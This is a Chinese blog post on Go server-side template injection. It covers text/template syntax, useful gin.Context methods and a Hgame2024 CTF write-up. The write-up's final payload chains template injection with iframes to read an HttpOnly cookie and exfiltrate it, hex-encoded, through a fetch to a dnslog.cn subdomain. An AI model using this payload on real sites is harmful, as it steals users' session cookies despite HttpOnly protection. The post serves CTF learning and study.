首页 > 其他分享 >简析Go SSTI利用

简析Go SSTI利用

时间:2024-03-22 14:55:39浏览次数:21  
标签:pipeline end 模版 T1 简析 SSTI template Go

简析Go SSTI利用

目录

Go ssti的xss利用

简单来说就是可以利Go的模版注入,来绕过Cookie的HTTPOnly安全限制

Go SSTI基础

参考go官方文档

template package - text/template - Go Packages Package template implements data-driven templates for generating textual output. https://pkg.go.dev/text/template

模版渲染

go的模版渲染使用的是{{}}

简单的例子

type Inventory struct {
  Material string
  Count    uint
}
sweaters := Inventory{"wool", 17}
tmpl, err := template.New("test").Parse("{{.Count}} items are made of {{.Material}}")
if err != nil { panic(err) }
err = tmpl.Execute(os.Stdout, sweaters)
if err != nil { panic(err) }

可以看到17和wool被渲染进去了。

Action

官方的给出的Action如下

{{/* a comment */}}
{{- /* a comment with white space trimmed from preceding and following text */ -}}

{{pipeline}}
  我们可以把pipeline视作函数或者某个属性值
  
{{if pipeline}} T1 {{end}}
{{if pipeline}} T1 {{else}} T0 {{end}}
{{if pipeline}} T1 {{else if pipeline}} T0 {{end}}

{{range pipeline}} T1 {{end}}
{{range pipeline}} T1 {{else}} T0 {{end}}
  当pipeline返回的array长度为0时,执行T0
  
{{break}}
{{continue}}

{{template "name"}}
  渲染名称为name的模版。
{{template "name" pipeline}}
  以pipeline为name模版的传入数据。
{{block "name" pipeline}} T1 {{end}}
  block是定义template的一种速记,相当于定义并执行,上面这条就是将pipeline渲染到T1模版里,并定义T1为名称为name的模版,相当于以下两条的结合。
    {{define "name"}} T1 {{end}}
    {{template "name" pipeline}}
  典型的用法是定义一组根模版,然后通过block重新定义来定制这些模板。

{{with pipeline}} T1 {{end}}
  如果管道值为空,则不产生输出;否则,dot 将被设置为管道值,T1 将被执行。
  
{{with pipeline}} T1 {{else}} T0 {{end}}
  如果管道值为空,dot不受影响,T0会被执行;否则,dot会被设置为pipeline的值,T1 会被执行。
  with和if的区别在于with会将返回值储存在"."中,后续可以访问。

举一个with的例子

tmpl, err := template.New("test").Parse("{{with .Count}}{{.}} items are made of {{end}}{{.Material}}")

Pipelines

Argument
  参数
.Method [Argument...]
  方法
functionName [Argument...]
  函数

pipeline之间可以用管道连接符|来连接,前者的返回值将作为后者的最后一个参数传递

Variable

Action内的pipelin可以初始化变量的值

$variable := pipeline
range $index, $element := pipeline

gin.context的利用方式

参考go文档

gin package - github.com/gin-gonic/gin - Go Packages Package gin implements a HTTP web framework called gin. https://pkg.go.dev/github.com/gin-gonic/gin

看其Context下的属性和函数即可

简单选几个说明一下,具体的可以看官方文档

func 描述
ClientIP 返回访问ip
ContentType contenttype
Cookie 返回Cookie,这里就是XSS可以利用的地方,因为这里的Cookie是无视httponly的属性,
Query 查询请求中的参数,比如请求传参为?a=123&b=456,那么Query('a')返回的是'123'

Hgame2024 Week2 梅开二度

实现xss,cookie被设置为了httponly

可以用Cookie访问到这个httponly的flag

而且这个机器人什么都不会返回,所以需要外带

先写一个iframe,让机器人访问到/flag获取cookie,等获取完之后再加载一个iframe,把数据发送出去

最终未编码的payload如下

?tmpl={{print 1|.Query}}&1=<iframe src="http://127.0.0.1:8099/flag" id=2></iframe>
<script>
function a(){
  var iframe=document.createElement("iframe")
  iframe.src="http://127.0.0.1:8099/?tmpl={{print 2|.Query|.Cookie}}&2=flag"
  iframe.onload=function(){ 
    var str=iframe.contentWindow.document.body.innerHTML.slice(59,-7)
    var flag=""
    for(var i=0;i<str.length;i++){
      flag+=str.charCodeAt(i).toString(16)
  }
  fetch("http://"+flag+"nice.dj30m9.dnslog.cn")
}
document.body.appendChild(iframe)}
document.getElementById('2').onload=a //用onload保证第一个iframe加载完成之后再加载第二个iframe发送cookie
</script>

由于题目中进行了html转义,所以单引号和双引号都不能用,所以用Query方法可以获取我们在url传的其他参数

但是{{.Query 1}}中的1会解析为int类型导致出错,{{.Query a}}会解析为函数a也会出错,所以用print1转换为string类型,传给Query,这样就成功绕过了对tmpl的检查。

总结

go ssti主要还是要去看模版解析的基类型,即{{.}}被解析为什么,然后去看这个对象有什么可以利用的方法或者属性,从而实现绕过。

标签:pipeline,end,模版,T1,简析,SSTI,template,Go
From: https://www.cnblogs.com/Joooook/p/18089475

相关文章

  • 求助!!!!Django+Celery异步执行神经网络时出错
    跪求大佬我使用了Django编写服务器,然后再配置celery用于执行异步程序。我的设想是,服务器接收机器学习训练请求,然后同步然后接收成功信息,随后异步执行机器学习训练。但是目前celery接收到任务以后不执行,图1-图4是我使用flower监控celery的窗口,图5-图6是异步代码(这里我同步执行过,没......
  • Django路由使用问题
    $('select[name=select_month]').each(function(index){month_list=response["time_dict"][response["year"]]select_menu=$(this)month_list.forEach(function(month){if(month==response["month&quo......
  • Celery在django中的应用
    Celery在Django中的应用这个文档描述了当前稳定的Celery版本(5.3)。有关开发文档,请访问这里。Django入门指南在Django中使用Celery注意:Celery的早期版本需要单独的库来与Django协同工作,但自3.1版本起就不再是这样了。现在Django已经得到了原生支持,因此这份文档只包含了集成Cele......
  • 深入理解Django的ModelForm操作
    深入理解Django的ModelForm操作原文链接:https://www.cnblogs.com/shenjianping/p/11562148.html一、ModelForm的使用顾名思义,ModelForm就是将Model与Form进行绑定,Form有自动生成表单的作用,但是每一个forms字段需要自己手动填写,而Model就是数据库表包含了所有的数据字段。所以M......
  • go 网络包用法
    获取网卡IPv4地址packagemainimport( "fmt" "net")funcmain(){ ifname:="ens33" netIf,err:=net.InterfaceByName(ifname) iferr!=nil{ fmt.Printf("getnetIfbyname%sfailed,erris%v\n",ifname,err)......
  • GOT表和PLT表
    GOT表和PLT表一.引入目地操作系统通常使用动态链接的方法来提高程序运行的效率。在动态链接的情况下,程序加载的时候并不会把链接库中所有函数都一起加载进来,而是程序执行的时候按需加载,如果有函数并没有被调用,那么它就不会在程序生命中被加载进来。这样的设计就能提高程序运行......
  • [Container] study goals for learning container
    LearningObjectivesBuildacontainerimageandstoreitinacontainerregistry.Describethefeatures,benefits,andusecasesofcontainers,andhowtheyaredifferentfromvirtualmachines.DefineDockerandlistsomeofthecommonlyusedDockerCLI......
  • Ubuntu使用gvm安装go
    建议使用非sudo用户装,方便vscode连接时go插件使用。1.若系统之前存在旧版本的go,无则跳过此步骤sudorm-rf/usr/local/gosudoapt-getremovegolangsudoapt-getremovegolang-gosudoapt-getautoremove2.到gvm的官方github页面找到安装的命令https://github.com/moo......
  • 5.Go变量 常量 变量命名规则 代码风格
    Go变量、常量、命名规则、代码风格1、变量的来历程序运行过程中的数据都是保存在内存中,我们想要在代码中操作某个数据时就需要去内存上找到这个变量,但是如果我们直接在代码中通过内存地址去操作变量的话,代码的可读性会非常差而且还容易出错,所以我们就利用变量将这个数据的内存......
  • 3.Go 语言 定义变量、fmt 包、Print、Println、Go 语言注释
    Go语言定义变量、fmt包、Print、Println、Printf、Go语言注释1、Go语言定义变量这里我们为了演示代码期间给大家先简单介绍一下变量,后面的教程还会详细讲解。关于变量:程序运行过程中的数据都是保存在内存中,我们想要在代码中操作某个数据时就需要去内存上找到这个变量,但是......